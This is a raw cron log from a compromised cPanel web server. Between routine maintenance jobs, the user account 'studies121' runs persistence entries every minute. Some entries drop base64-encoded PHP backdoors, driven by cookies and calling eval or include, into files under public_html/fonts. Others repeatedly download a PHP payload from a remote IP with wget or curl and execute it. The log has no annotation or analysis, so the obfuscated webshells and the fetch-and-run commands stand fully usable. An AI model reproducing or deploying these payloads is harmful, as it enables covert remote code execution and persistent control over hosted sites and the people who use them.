Sep 11 07:09:02 ip-184-168-122-23 CROND[22674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:09:02 ip-184-168-122-23 CROND[22673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:09:02 ip-184-168-122-23 CROND[22675]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 07:09:02 ip-184-168-122-23 CROND[22676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:10:01 ip-184-168-122-23 CROND[22774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:10:01 ip-184-168-122-23 CROND[22776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:10:01 ip-184-168-122-23 CROND[22780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:10:01 ip-184-168-122-23 CROND[22779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:10:01 ip-184-168-122-23 CROND[22781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:10:01 ip-184-168-122-23 CROND[22777]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:10:01 ip-184-168-122-23 CROND[22778]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:10:01 ip-184-168-122-23 CROND[22782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:11:01 ip-184-168-122-23 CROND[22883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:11:01 ip-184-168-122-23 CROND[22884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:11:01 ip-184-168-122-23 CROND[22885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:11:01 ip-184-168-122-23 CROND[22887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:12:01 ip-184-168-122-23 CROND[22995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:12:01 ip-184-168-122-23 CROND[22997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:12:01 ip-184-168-122-23 CROND[22998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:12:01 ip-184-168-122-23 CROND[22999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:12:01 ip-184-168-122-23 CROND[23001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:13:01 ip-184-168-122-23 CROND[23111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:13:01 ip-184-168-122-23 CROND[23113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:13:01 ip-184-168-122-23 CROND[23114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:13:01 ip-184-168-122-23 CROND[23116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:14:01 ip-184-168-122-23 CROND[23309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:14:01 ip-184-168-122-23 CROND[23308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:14:01 ip-184-168-122-23 CROND[23312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:14:01 ip-184-168-122-23 CROND[23314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:14:01 ip-184-168-122-23 CROND[23315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:15:02 ip-184-168-122-23 CROND[23435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:15:02 ip-184-168-122-23 CROND[23436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:15:02 ip-184-168-122-23 CROND[23439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:15:02 ip-184-168-122-23 CROND[23438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:15:02 ip-184-168-122-23 CROND[23444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:15:02 ip-184-168-122-23 CROND[23445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:16:01 ip-184-168-122-23 CROND[23557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:16:01 ip-184-168-122-23 CROND[23559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:16:01 ip-184-168-122-23 CROND[23560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:16:01 ip-184-168-122-23 CROND[23563]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 07:16:01 ip-184-168-122-23 CROND[23562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:16:01 ip-184-168-122-23 CROND[23564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:17:01 ip-184-168-122-23 CROND[23692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:17:01 ip-184-168-122-23 CROND[23693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:17:01 ip-184-168-122-23 CROND[23694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:17:01 ip-184-168-122-23 CROND[23695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:18:01 ip-184-168-122-23 CROND[23788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:18:01 ip-184-168-122-23 CROND[23789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:18:01 ip-184-168-122-23 CROND[23792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:18:01 ip-184-168-122-23 CROND[23794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:18:01 ip-184-168-122-23 CROND[23793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:19:01 ip-184-168-122-23 CROND[23903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:19:01 ip-184-168-122-23 CROND[23905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:19:01 ip-184-168-122-23 CROND[23904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:19:01 ip-184-168-122-23 CROND[23906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:20:01 ip-184-168-122-23 CROND[23990]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 07:20:01 ip-184-168-122-23 CROND[23991]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:20:01 ip-184-168-122-23 CROND[24000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:20:01 ip-184-168-122-23 CROND[23996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:20:01 ip-184-168-122-23 CROND[23997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:20:01 ip-184-168-122-23 CROND[23998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:20:01 ip-184-168-122-23 CROND[23999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:20:01 ip-184-168-122-23 CROND[23995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:20:01 ip-184-168-122-23 CROND[24001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:21:01 ip-184-168-122-23 CROND[24204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
